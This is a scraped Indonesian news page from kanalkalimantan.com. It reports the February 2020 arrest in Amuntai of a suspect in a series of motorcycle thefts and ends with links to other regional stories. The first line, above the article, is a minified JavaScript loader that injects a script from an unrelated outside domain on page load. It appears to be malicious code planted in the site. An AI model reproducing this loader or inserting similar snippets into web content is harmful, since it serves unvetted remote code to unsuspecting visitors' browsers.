(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Unit Jatanras Polres Hulu Sungai Utara (HSU) bersama Unit Reskrim Polsek Amuntai Kota kembali meringkus tersangka Curanmor bernama Didit (29), warga Kebun Sari, Kecamatan Amuntai Tengah, Kabupaten HSU.
Dari tersangka Didit, polisi berhasil mengamankan barang bukti sebuah sepeda Motor Merk Honda Beat Warna Orange dengan Nomor Polisi : DA 6580 FAB, pada hari Rabu (19/2/2020)
Kapolres HSU AKBP Pipit Subiyanto melalui Kasat Reskrim Polres HSU Iptu Kamarudin, kepada kanalkalimantan.com, Kamis (20/2/2020) mengakui anggotanya telah mengamankan tersangka bersama barang bukti atas laporan korban Rina yang menjadi korban pencurian.
Dari Informasinya, kejadian curanmor sendiri terjadi pada Senin (17 /2/2020) kemarin sekitar pukul 04.30 Wita. Rina yang pada waktu itu meletakkan motor di halaman rumahnya di Jl Pangeran Antasari Kecamantan Amuntai Tengah, mengetahui kendaraannya telah raib sejak pukul 04.30 Wita.
“Setelah korban keluar rumah ternyata motor miliknya sudah tidak ada lagi di tempat,” ujar Kasatreskrim Polres HSU.
Walhasil atas kejadian tersebut pelapor mengalami kerugian sebesar Rp 8,6 juta dan melaporkannya ke Mapolsek Kota guna penyelidikan lebih lanjut. Berselang satu hari setelah kejadian, berdasarkan laporan korban dan proses penyelidikan bersama sejumlah saksi, membuahkan hasil pada Rabu (19/2/2020) Sekitar 15.30 wita.
Unit Jatanras Polres HSU bersama Unit Reskrim Polsek Amuntai Kota meringkus tersangka Curanmor tersebut saat sedang berada di sebuah Rumah di Jl. H Ali Gang Suwarga Rt. 06 Kelurahan Antasari Kecamantan Amuntai Tengah.
Setelah diinterogasi, kepala polisi tersangka mengakui semua perbuatannya. Bahkan, menurut pengakuan tersangka ia telah beberapa kali berhasil melakukan aksi serupa di beberapa tempat berbeda. “Pelaku sudah pernah lakukan kasus curanmor 3 kali, masuk rumah orang 1 kali, sama yang ini 4 kali curanmor,” ujar Iptu Kamarudin.
Untuk sementara tersangka bersama barang bukti di gelandang ke Mapolsek Amuntai Kota guna penyelidikan lebih lanjut.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.